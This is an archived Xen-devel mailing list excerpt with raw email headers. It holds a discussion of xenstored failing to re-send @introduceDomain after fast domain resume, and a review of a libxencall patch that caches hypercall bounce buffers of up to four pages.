X-purgate-ID: tlsNG-ebf023/1783430921-AD13E1CC-E1578343/0/0
X-purgate-type: clean
X-purgate-size: 3489

On 07/07/2026 2:07 pm, Andrii Sultanov wrote:
> Both Oxenstored and Cxenstored don't properly handle a shutdown domain
> (even if shutdown_code == SHUTDOWN_suspend) coming back because of
> xc_domain_resume(fast=1).
>
> Cxenstored correctly sends @introduceDomain watch events on the
> initial INTRODUCE call:
>
>  Â  Â  IN 0x1f78610 20260619 15:45:37 INTRODUCE (1 1044476 2 )
>  Â  Â  CREATE connection 0x1f75870
>  Â  Â  OUT 0x1f76f00 20260619 15:45:37 WATCH_EVENT (@introduceDomain domlist )
>  Â  Â  OUT 0x1f76ce0 20260619 15:45:37 WATCH_EVENT (@introduceDomain 
> squeezed )
>  Â  Â  OUT 0x1f77c40 20260619 15:45:37 WATCH_EVENT (@introduceDomainÂ  )
>  Â  Â  OUT 0x1f78610 20260619 15:45:37 WATCH_EVENT (@introduceDomainÂ  )
>  Â  Â  OUT 0x1f78610 20260619 15:45:37 INTRODUCE (OK )
>
> And it sends @releaseDomain when it notices dominfo.shutdown (without
> checking for shutdown_code):
>
>  Â  Â  OUT 0x1f76f00 20260619 15:46:56 WATCH_EVENT (@releaseDomain domlist )
>  Â  Â  OUT 0x1f76ce0 20260619 15:46:56 WATCH_EVENT (@releaseDomain squeezed )
>  Â  Â  OUT 0x1f77c40 20260619 15:46:56 WATCH_EVENT (@releaseDomain )
>  Â  Â  OUT 0x1f78610 20260619 15:46:56 WATCH_EVENT (@releaseDomain )
>
> But after fast resume, even though INTRODUCE returns successfully,
> @introduceDomain watch events are not re-sent:
>
>  Â  Â  IN 0x1f78610 20260619 15:47:06 INTRODUCE (1 1044476 2 )
>  Â  Â  <----- no watch events
>  Â  Â  OUT 0x1f78610 20260619 15:47:06 INTRODUCE (OK )
>
> Oxenstored likewise avoids sending @introduceDomain for "re-connecting"
> domains (which is what it thinks a domain coming back like this looks like).
>
> RESUME does not re-send @introduceDomain either, it just marks the domain as
> live internally in Cxenstored and is a no-op for Oxenstored.
>
> This missing notification leads to all kinds of issues since the toolstacks
> don't notice the resumed domain is back (at least on the XAPI side).
>
> Is this a real issue or is the toolstack holding xenstored wrong here?
>
> If it is, I see two possible options for handling this:
>
> 1) Don't consider SHUTDOWN_suspend domains as dead, only drop them when they
>  Â  Â are definitively gone. This avoids the @releaseDomain notification
>  Â  Â and hence doesn't require another @introduceDomain
>
> 2) Do actually send out @introduceDomain for thought-to-be-shutdown domains
>  Â  Â on INTRODUCE
>
> Thoughts?

At this point it's very evident that fast resume was never done
adequately.Â  Which means we need to go back to first principles.

AIUI, the point of fast resume is for memory snapshotting, where we
drive the "save" half of migrate to produce the snapshot but then resume
the original VM with it's original domid, and it can skip the PV
reconnect procedures.

>From that point of view, it seems wrong for @introduceDomain to fire.Â 
Yet, a @releaseDomain did fire when the guest suspended, so the backends
will have unmapped the rings/etc.

This seems to defeat the entire purpose of fast resume.Â  Even if the
guest knows it doesn't have to change domid, the fact that all the
backends close means they need reconnecting, and the domid aspect is moot.

Unless I've missed something, fast resume is wholly unfit for purpose,
besides just broken.

The only way it can reasonably work is by not issuing @releaseDomain,
but that's between the guest itself (which does use SUSPEND) and
xenstored when handling the VIRQ.

~Andrew


From xen-devel-bounces@lists.xenproject.org Tue Jul 07 13:51:57 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 07 Jul 2026 13:51:57 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356238.1610872 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh6DG-0000B9-M2; Tue, 07 Jul 2026 13:51:50 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356238.1610872; Tue, 07 Jul 2026 13:51:50 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh6DG-0000B2-JJ; Tue, 07 Jul 2026 13:51:50 +0000
Received: by outflank-mailman (input) for mailman id 1356238;
 Tue, 07 Jul 2026 13:51:50 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f3cd94e2d00080a8@swg.vates.tech>)
 id 1wh6DG-0000Aw-20
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 13:51:50 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wh6DE-004yAW-O8
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 15:51:48 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f3cd94e2d00080a8@swg.vates.tech>)
 id 6a4d0472-bab6-0a2a0a5309dd-0a2a450b83cc-10
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 15:51:48 +0200
Received: from [185.255.28.18] (helo=prod-mta-13.swg-srv.net)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f3cd94e2d00080a8@swg.vates.tech>)
 id 6a4d0474-ac48-0a2a450b0019-b9ff1c128c3f-3
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 15:51:48 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f3cd94e2d00080a8.006 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Tue, 07 Jul 2026 13:51:42 +0000
Received: from l14 (lfbn-lyo-1-414-55.w2-7.abo.wanadoo.fr [2.7.24.55])
 (Authenticated sender: anthony.perard)
 by mail2.vates.fr (Postfix) with ESMTPSA id AB69A81F3D;
 Tue,  7 Jul 2026 15:51:40 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=Bikc+oGbzD6wJLVeV0826zckKsPBVhFcGDPNM64dH8c=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=mxyMiSvLrqfJL/sGMxYundWjkMNK2kOuBAhHGNg6HP7JCrLHNTG61sfSoEurSBvKKF+I8XcW8
 o16tbiZWpLvVvFYvUjwj3YO5m57wgxFtY6/f+UbDQb27813em0ggQjkI6kLr11gHLbSe2qIORaz
 H7YE6lZ2bNaWVBLpLJBY3Kt3oxPF9SU2qxxp2A3cvets51yZ/38Dh5mRFco8gA608EDAMNiW2O8
 bCLu8E+E6iUzCAGOa7k30M9rHYBTzjIjm1tiPsJoQT3UJ6FqQeGTHytL/blj7VEDzm0Cv6UCEHH
 GnUaQsdTuEzRKAwRcE77zZAoKTVOJm0ia+kxiVFN0Bag==
X-Zone-Loop: 5e3fe7671ac580bd10bacd2e2ce877ac2da35a37b44e
x-campaign-type: default
x-transaction-id: a7d7a02b-ccca-48f8-b9fd-c139d26c34ab
x-swg-uid: 01-9c79dd22-ebd5-4fce-9250-3a6f7e796523
X-Mailer: Sweego
Message-ID:
 <1783432302.8631fc262581453bbf619ec5b2062170.19f3cd94e2d00080a8@vates.tech>
x-swg-bid: 1783432302.8631fc262581453bbf619ec5b2062170.19f3cd94e2d00080a8
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
Date: Tue, 7 Jul 2026 15:51:40 +0200
From: Anthony PERARD <anthony.perard@vates.tech>
To: Frediano Ziglio <freddy77@gmail.com>
Cc: xen-devel@lists.xenproject.org,
	Edwin =?iso-8859-1?B?VPZy9ms=?= <edwin.torok@citrix.com>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Roger Pau =?iso-8859-1?Q?Monn=E9?= <roger.pau@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Juergen Gross <jgross@suse.com>,
	Frediano Ziglio <frediano.ziglio@citrix.com>
Subject: Re: [PATCH v6 06/16] libs/call: cache up to 4 pages in hypercall
 bounce buffers
References: <20260619130501.272832-1-frediano.ziglio@citrix.com>
 <20260619130501.272832-7-frediano.ziglio@citrix.com>
MIME-Version: 1.0
Content-Disposition: inline
In-Reply-To: <20260619130501.272832-7-frediano.ziglio@citrix.com>
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.36f.25ae320a4161a2c.19f3cd9493f.cacffb04ab93518a=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1783432300863
X-purgate-ID: tlsNG-42698a/1783432308-A6324220-13632BC7/0/0
X-purgate-type: clean
X-purgate-size: 6641

---=Part.36f.25ae320a4161a2c.19f3cd9493f.cacffb04ab93518a=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

On Fri, Jun 19, 2026 at 02:04:51PM +0100, Frediano Ziglio wrote:
> From: Edwin T=C3=B6r=C3=B6k <edwin=2Etorok@citrix=2Ecom>
>=20
> During migration there are a lot of mmap/munmap calls,
> because `xc_get_pfn_type_batch` exceeds the default hypercall bounce
> buffer cache size, and needs to allocate every time it is called=2E

I think xc_get_pfn_type_batch() would allocate a buffer of 2 page top,
in write_batch(), right ?

>=20
> `munmap` is slow, especially in a PV Dom0 (takes an emulation fault),
> so is best avoided=2E
>=20
> Eventually it'd be good if the memory pool from  xmalloc_tlsf=2Ec
> was reused here, but for now make it handle the commonly encountered
> sizes (so far up to 4 pages)=2E
>=20
> Signed-off-by: Edwin T=C3=B6r=C3=B6k <edwin=2Etorok@citrix=2Ecom>
> Signed-off-by: Frediano Ziglio <frediano=2Eziglio@citrix=2Ecom>
> --
> Changes since v2:
> - change prefix in subject=2E
>=20
> Changes since v4:
> - fix off-by-one bug=2E
>=20
> Changes since v5:
> - avoids potential buffer underflow if nr_pages is 0 calling cache_alloc=
=2E
> ---
>  tools/libs/call/buffer=2Ec  | 31 ++++++++++++++++++++-----------
>  tools/libs/call/core=2Ec    |  3 ++-
>  tools/libs/call/private=2Eh |  8 +++++---
>  3 files changed, 27 insertions(+), 15 deletions(-)
>=20
> diff --git a/tools/libs/call/buffer=2Ec b/tools/libs/call/buffer=2Ec
> index 155e4f9d43=2E=2E2f0515c273 100644
> --- a/tools/libs/call/buffer=2Ec
> +++ b/tools/libs/call/buffer=2Ec
> @@ -49,6 +49,9 @@ static void *cache_alloc(xencall_handle *xcall, size_t=
 nr_pages)
>  {
>      void *p =3D NULL;
> =20
> +    if ( nr_pages =3D=3D 0 )
> +        return NULL;

By doing that check here, we don't update the stat anymore=2E And it's
getting out-of-sync with the updates done in cache_free()=2E

Before, we where returning a cache entry for that, and cache_hit++=2E I
think it's ok to return cache_miss++ instead=2E

>      cache_lock(xcall);
> =20
>      xcall->buffer_total_allocations++;
> @@ -56,13 +59,13 @@ static void *cache_alloc(xencall_handle *xcall, size=
_t nr_pages)
>      if ( xcall->buffer_current_allocations > xcall->buffer_maximum_allo=
cations )
>          xcall->buffer_maximum_allocations =3D xcall->buffer_current_all=
ocations;
> =20
> -    if ( nr_pages > 1 )
> +    if ( nr_pages > ARRAY_SIZE(xcall->buffer_cache) )
>      {
>          xcall->buffer_cache_toobig++;
>      }
> -    else if ( xcall->buffer_cache_nr > 0 )
> +    else if ( xcall->buffer_cache_nr[nr_pages-1] > 0 )
>      {
> -        p =3D xcall->buffer_cache[--xcall->buffer_cache_nr];
> +        p =3D xcall->buffer_cache[nr_pages-1][--xcall->buffer_cache_nr[=
nr_pages-1]];
>          xcall->buffer_cache_hits++;
>      }
>      else
> @@ -84,10 +87,10 @@ static int cache_free(xencall_handle *xcall, void *p=
, size_t nr_pages)
>      xcall->buffer_total_releases++;
>      xcall->buffer_current_allocations--;
> =20
> -    if ( nr_pages =3D=3D 1 &&
> -         xcall->buffer_cache_nr < BUFFER_CACHE_SIZE )
> +    if ( nr_pages && nr_pages <=3D ARRAY_SIZE(xcall->buffer_cache) &&
> +         xcall->buffer_cache_nr[nr_pages-1] < BUFFER_CACHE_SIZE )
>      {
> -        xcall->buffer_cache[xcall->buffer_cache_nr++] =3D p;
> +        xcall->buffer_cache[nr_pages-1][xcall->buffer_cache_nr[nr_pages=
-1]++] =3D p;
>          rc =3D 1;
>      }
> =20
> @@ -108,17 +111,23 @@ void buffer_release_cache(xencall_handle *xcall)
>      DBGPRINTF("current allocations:%d maximum allocations:%d",
>                xcall->buffer_current_allocations,
>                xcall->buffer_maximum_allocations);
> -    DBGPRINTF("cache current size:%d",
> -              xcall->buffer_cache_nr);
> +    for ( unsigned i =3D 0; i < ARRAY_SIZE(xcall->buffer_cache_nr); ++i=
 )
> +    {
> +        DBGPRINTF("cache current size[%u pages]:%d", i+1,
> +                xcall->buffer_cache_nr[i]);
> +    }
>      DBGPRINTF("cache hits:%d misses:%d toobig:%d",
>                xcall->buffer_cache_hits,
>                xcall->buffer_cache_misses,
>                xcall->buffer_cache_toobig);
> =20
> -    while ( xcall->buffer_cache_nr > 0 )
> +    for ( unsigned i =3D 0; i < ARRAY_SIZE(xcall->buffer_cache_nr); ++i=
 )
>      {
> -        p =3D xcall->buffer_cache[--xcall->buffer_cache_nr];
> -        osdep_free_pages(xcall, p, 1);
> +        while ( xcall->buffer_cache_nr[i] > 0 )
> +        {
> +            p =3D xcall->buffer_cache[i][--xcall->buffer_cache_nr[i]];
> +            osdep_free_pages(xcall, p, i + 1);
> +        }
>      }
> =20
>      cache_unlock(xcall);
> diff --git a/tools/libs/call/core=2Ec b/tools/libs/call/core=2Ec
> index 02c4f8e1ae=2E=2Edd8877c1a0 100644
> --- a/tools/libs/call/core=2Ec
> +++ b/tools/libs/call/core=2Ec
> @@ -14,6 +14,7 @@
>   */
> =20
>  #include <stdlib=2Eh>
> +#include <string=2Eh>
> =20
>  #include "private=2Eh"
> =20
> @@ -44,7 +45,7 @@ xencall_handle *xencall_open(xentoollog_logger *logger=
, unsigned open_flags)
>      xentoolcore__register_active_handle(&xcall->tc_ah);
> =20
>      xcall->flags =3D open_flags;
> -    xcall->buffer_cache_nr =3D 0;
> +    memset(xcall->buffer_cache_nr, 0, sizeof(xcall->buffer_cache_nr));
> =20
>      xcall->buffer_total_allocations =3D 0;
>      xcall->buffer_total_releases =3D 0;
> diff --git a/tools/libs/call/private=2Eh b/tools/libs/call/private=2Eh
> index 9c3aa432ef=2E=2E8e6a208975 100644
> --- a/tools/libs/call/private=2Eh
> +++ b/tools/libs/call/private=2Eh
> @@ -31,13 +31,15 @@ struct xencall_handle {
>      Xentoolcore__Active_Handle tc_ah;
> =20
>      /*
> -     * A simple cache of unused, single page, hypercall buffers
> +     * A simple cache of unused, small, hypercall buffers
> +     * buffer_cache[i]'s size is (i+1) pages
>       *
>       * Protected by a global lock=2E
>       */
>  #define BUFFER_CACHE_SIZE 4
> -    int buffer_cache_nr;
> -    void *buffer_cache[BUFFER_CACHE_SIZE];
> +#define BUFFER_CACHE_NRPAGES 4
> +    int buffer_cache_nr[BUFFER_CACHE_NRPAGES];
> +    void *buffer_cache[BUFFER_CACHE_NRPAGES][BUFFER_CACHE_SIZE];
> =20
>      /*
>       * Hypercall buffer statistics=2E All protected by the global
> --=20
> 2=2E43=2E0
>=20
>=20


-- 
Anthony Perard | Vates XCP-ng Developer

XCP-ng & Xen Orchestra - Vate=
s solutions

web: https://vates=2Etech
---=Part.36f.25ae320a4161a2c.19f3cd9493f.cacffb04ab93518a=---


From xen-devel-bounces@lists.xenproject.org Tue Jul 07 13:53:43 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 07 Jul 2026 13:53:43 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356247.1610882 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh6F4-0000kL-2r; Tue, 07 Jul 2026 13:53:42 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356247.1610882; Tue, 07 Jul 2026 13:53:42 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh6F4-0000kE-06; Tue, 07 Jul 2026 13:53:42 +0000
Received: by outflank-mailman (input) for mailman id 1356247;
 Tue, 07 Jul 2026 13:53:41 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jgross@suse.com>) id 1wh6F2-0000k6-Ry
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 13:53:40 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wh6F2-00EES2-8p
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 15:53:40 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jgross@suse.com>)
 id 6a4d04dd-bab6-0a2a0a5309dd-0a2a45098954-14
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 15:53:40 +0200
Received: from [209.85.218.52] (helo=mail-ej1-f52.google.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jgross@suse.com>)
 id 6a4d04e3-97e6-0a2a45090019-d155da34ed00-3
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 15:53:39 +0200
Received: by mail-ej1-f52.google.com with SMTP id
 a640c23a62f3a-c12758e75afso526424466b.1
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 06:53:39 -0700 (PDT)
Received: from ?IPV6:2a00:12d0:af5d:ad01:5d3f:14e6:9bcb:5112?
 (2a00-12d0-af5d-ad01-5d3f-14e6-9bcb-5112.ip.tng.de.
 [2a00:12d0:af5d:ad01:5d3f:14e6:9bcb:5112])
 by smtp.gmail.com with ESMTPSA id
 4fb4d7f45d1cf-69a19d9d1c7sm5957661a12.20.2026.07.07.06.53.38
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 07 Jul 2026 06:53:38 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783432419; x=1784037219; darn=lists.xenproject.org;
        h=content-type:in-reply-to:autocrypt:from:content-language:references
         :to:subject:user-agent:mime-version:date:message-id:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=qPXrYD6kbzmy+gF2PFiBQBD9Ng6zXSHMUfTszuhflYw=;
        b=XHhD7PDrIhMPfWKLKyd0aacmtH/WNaiMVipUrAFuZFjg0pcQTeZs8EaIKlmj4rRwdQ
         LXKJ0aPTZubT7vhGp5du2M/D+i5Xpgup6YW6Uvf0UGI/2TjJx7DWVjQqm04wRx4xGYFE
         LqeWQQXksM+/bVA3d290dpZXK5qEotHjT/KeQh2A9MdZHqZjRrJhnbOwUAHJk1YGl3U3
         Di04Uew8lyR+3Zrd6SARAQIHaASBGLImDC89SwF0xd3TS+EgJj6fmpwJioq0dms1jQvO
         3NHo5FJJ5k39zSFeO2MD7IElMe5dJ0n4NLaEVevGzMiAH7KA1eDU/7/3ysOyVtefppkm
         hiqg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783432419; x=1784037219;
        h=content-type:in-reply-to:autocrypt:from:content-language:references
         :to:subject:user-agent:mime-version:date:message-id:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=qPXrYD6kbzmy+gF2PFiBQBD9Ng6zXSHMUfTszuhflYw=;
        b=lLLP9OTwWIbyOLjvXFVIlMNep3UrtHQSoAJujLaMP4pAzwQEf26vqlUX7dXKoLNOvA
         H1iasQLqywXjTUL+oQhkDjZ3AEDhWYuMkB3vnIENKzsMqze2CGSMKxwU9fioR/08pyKl
         H4wgpxZtlh0veuNQvE6N+tV3ffHIJbwW/EvJCE1B8JREgbAUYpRV5g7+kcKu0Bioet+r
         t4AtkEsu45rwnrXJR/8HLbAE2c/xvIM3Uad5HS70psAtgx/kuxHBdGgHyAtfhj16T9BF
         jvGb5APESmMgGgIWN2BiCdxh8GLXFlKRj3J5Jhop4QsUzilhWN7dPZ7APPvFmEz/YzYf
         37lw==
X-Forwarded-Encrypted: i=1; AHgh+Rr18/uzh0euE0+rOFDenQsu31LkPyDqM0+9Z45mrSoSba6/SlyNFGTYrSgFtB4r1mB51hBrskcwjQA=@lists.xenproject.org
X-Gm-Message-State: AOJu0YyC5LqAcNXEFuwm+l4P5Y91rNLxLhJJMZxNQ0gN39Gk3irttnOs
	Sc21of0XxAqQ1aWV5illaVZatlFMe1gw8wBjQoz6BqTQWe+62X5qy7nwB/uowRcZnsQ=
X-Gm-Gg: AfdE7cllo9zjb2B9bW3XAANLJcbrJ8Mp1SeibpNVxs1E0D5SX3f5A1wO8r/7j51HvjM
	8UjvPx43zXXl0EPMxJ6zYbdkgcueQtWz8JlUR6K8VMQcVOSOWCm5aQax68i3LQOO/Fr4zgC90jn
	UzqNyvwW7qGStl+KlQysE8g3f7GLvubXMT44OeIrUZH7ywbYkQCFdlP8BGy9PFEBp123a2cv5PX
	GtxFh8nTKhFYF3ohFTsbThsvPziUS0Mmi5uf/Pqb1RBwQdjLbcetov3biCXl77i90SW4gdmTBgi
	n6S5fN5ejCi34LEcwjobfLyOUz1gETKRyiTi6fqiADh3n7g/ThffvGE1MYyxTa0uBhXNZD4MIE2
	YFuNyE/vmvacKquwL5n0s3pZdiI3N9qSZ1QYiFWivZYLK/QcQZFwByXRKBIlrWj3h+ldQyuDrtX
	In/5bNiwRM6pskBfCNMGX818Ko9PLKaMOehOgrTUwG4t64JZ8odaQ+A6yhkuZvMDlkff+pdYFdh
	YQuFF6H/kt/nCpWcCjZ2qTLo6wwRIC07McPKEjvW+U=
X-Received: by 2002:a17:907:9304:b0:c0e:4017:6471 with SMTP id a640c23a62f3a-c15a6797c24mr299472466b.16.1783432419041;
        Tue, 07 Jul 2026 06:53:39 -0700 (PDT)
Message-ID: <bf89f32e-f54f-47ad-a99f-eb0b1ba1d06e@suse.com>
Date: Tue, 7 Jul 2026 15:53:38 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: Improper handling of fast-resumed domains by O/Cxenstored
To: Andrii Sultanov <andriy.sultanov@vates.tech>,
 Xen-devel <xen-devel@lists.xenproject.org>
References: <1783429662.8631fc262581453bbf619ec5b2062170.19f3cb107e000080a8@vates.tech>
Content-Language: en-US
From: =?UTF-8?B?SsO8cmdlbiBHcm/Dnw==?= <jgross@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PP3dfh8JCQ1VtUUsQtT1sxos8Eb/HmriJhnaTZ7Hp3jtgTVkV0ybpgFg
 w6WMaRkrBh17mV0z2ajjmabB7SJxcouSkR0hcpNl4oM74d2/VqoW4BxxxOD1FcNCObCELfIS
 auZx+XT6s+CE7Qi/c44ibBMR7hyjdzWbABEBAAHCwF8EGAECAAkFAlOMcBYCGwwACgkQsN6d
 1ii/Ey9D+Af/WFr3q+bg/8v5tCknCtn92d5lyYTBNt7xgWzDZX8G6/pngzKyWfedArllp0Pn
 fgIXtMNV+3t8Li1Tg843EXkP7+2+CQ98MB8XvvPLYAfW8nNDV85TyVgWlldNcgdv7nn1Sq8g
 HwB2BHdIAkYce3hEoDQXt/mKlgEGsLpzJcnLKimtPXQQy9TxUaLBe9PInPd+Ohix0XOlY+Uk
 QFEx50Ki3rSDl2Zt2tnkNYKUCvTJq7jvOlaPd6d/W0tZqpyy7KVay+K4aMobDsodB3dvEAs6
 ScCnh03dDAFgIq5nsB11j3KPKdVoPlfucX2c7kGNH+LUMbzqV6beIENfNexkOfxHfw==
In-Reply-To: <1783429662.8631fc262581453bbf619ec5b2062170.19f3cb107e000080a8@vates.tech>
Content-Type: multipart/signed; micalg=pgp-sha256;
 protocol="application/pgp-signature";
 boundary="------------VmX5NApdYw10p7qle20XKHvH"
X-purgate-ID: tlsNG-bad1c0/1783432419-56FA9986-291998B1/0/0
X-purgate-type: clean
X-purgate-size: 10420

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--------------VmX5NApdYw10p7qle20XKHvH
Content-Type: multipart/mixed; boundary="------------TEVojAt0OVMykQIFf1yFbDW8";
 protected-headers="v1"
From: =?UTF-8?B?SsO8cmdlbiBHcm/Dnw==?= <jgross@suse.com>
To: Andrii Sultanov <andriy.sultanov@vates.tech>,
 Xen-devel <xen-devel@lists.xenproject.org>
Message-ID: <bf89f32e-f54f-47ad-a99f-eb0b1ba1d06e@suse.com>
Subject: Re: Improper handling of fast-resumed domains by O/Cxenstored
References: <1783429662.8631fc262581453bbf619ec5b2062170.19f3cb107e000080a8@vates.tech>
In-Reply-To: <1783429662.8631fc262581453bbf619ec5b2062170.19f3cb107e000080a8@vates.tech>

--------------TEVojAt0OVMykQIFf1yFbDW8
Content-Type: multipart/mixed; boundary="------------tkAw6SFUpVzjxrKeqZ8U5DQ0"

--------------tkAw6SFUpVzjxrKeqZ8U5DQ0
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: base64

T24gMDcuMDcuMjYgMTU6MDcsIEFuZHJpaSBTdWx0YW5vdiB3cm90ZToNCj4gQm90aCBPeGVu
c3RvcmVkIGFuZCBDeGVuc3RvcmVkIGRvbid0IHByb3Blcmx5IGhhbmRsZSBhIHNodXRkb3du
IGRvbWFpbg0KPiAoZXZlbiBpZiBzaHV0ZG93bl9jb2RlID09IFNIVVRET1dOX3N1c3BlbmQp
IGNvbWluZyBiYWNrIGJlY2F1c2Ugb2YNCj4geGNfZG9tYWluX3Jlc3VtZShmYXN0PTEpLg0K
PiANCj4gQ3hlbnN0b3JlZCBjb3JyZWN0bHkgc2VuZHMgQGludHJvZHVjZURvbWFpbiB3YXRj
aCBldmVudHMgb24gdGhlDQo+IGluaXRpYWwgSU5UUk9EVUNFIGNhbGw6DQo+IA0KPiAgIMKg
IMKgIElOIDB4MWY3ODYxMCAyMDI2MDYxOSAxNTo0NTozNyBJTlRST0RVQ0UgKDEgMTA0NDQ3
NiAyICkNCj4gICDCoCDCoCBDUkVBVEUgY29ubmVjdGlvbiAweDFmNzU4NzANCj4gICDCoCDC
oCBPVVQgMHgxZjc2ZjAwIDIwMjYwNjE5IDE1OjQ1OjM3IFdBVENIX0VWRU5UIChAaW50cm9k
dWNlRG9tYWluIGRvbWxpc3QgKQ0KPiAgIMKgIMKgIE9VVCAweDFmNzZjZTAgMjAyNjA2MTkg
MTU6NDU6MzcgV0FUQ0hfRVZFTlQgKEBpbnRyb2R1Y2VEb21haW4NCj4gc3F1ZWV6ZWQgKQ0K
PiAgIMKgIMK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gZG9tYWluICpkKQ0KICAg
ICAgICAgICAgICByZXR1cm47DQoNCiAgICAgIGQtPmlzX3NodXRfZG93biA9IDE7DQotICAg
IGRvbWFpbl9jaGFuZ2VkX3N0YXRlKGQpOw0KICAgICAgaWYgKCAoZC0+c2h1dGRvd25fY29k
ZSA9PSBTSFVURE9XTl9zdXNwZW5kKSAmJiBkLT5zdXNwZW5kX2V2dGNobiApDQogICAgICAg
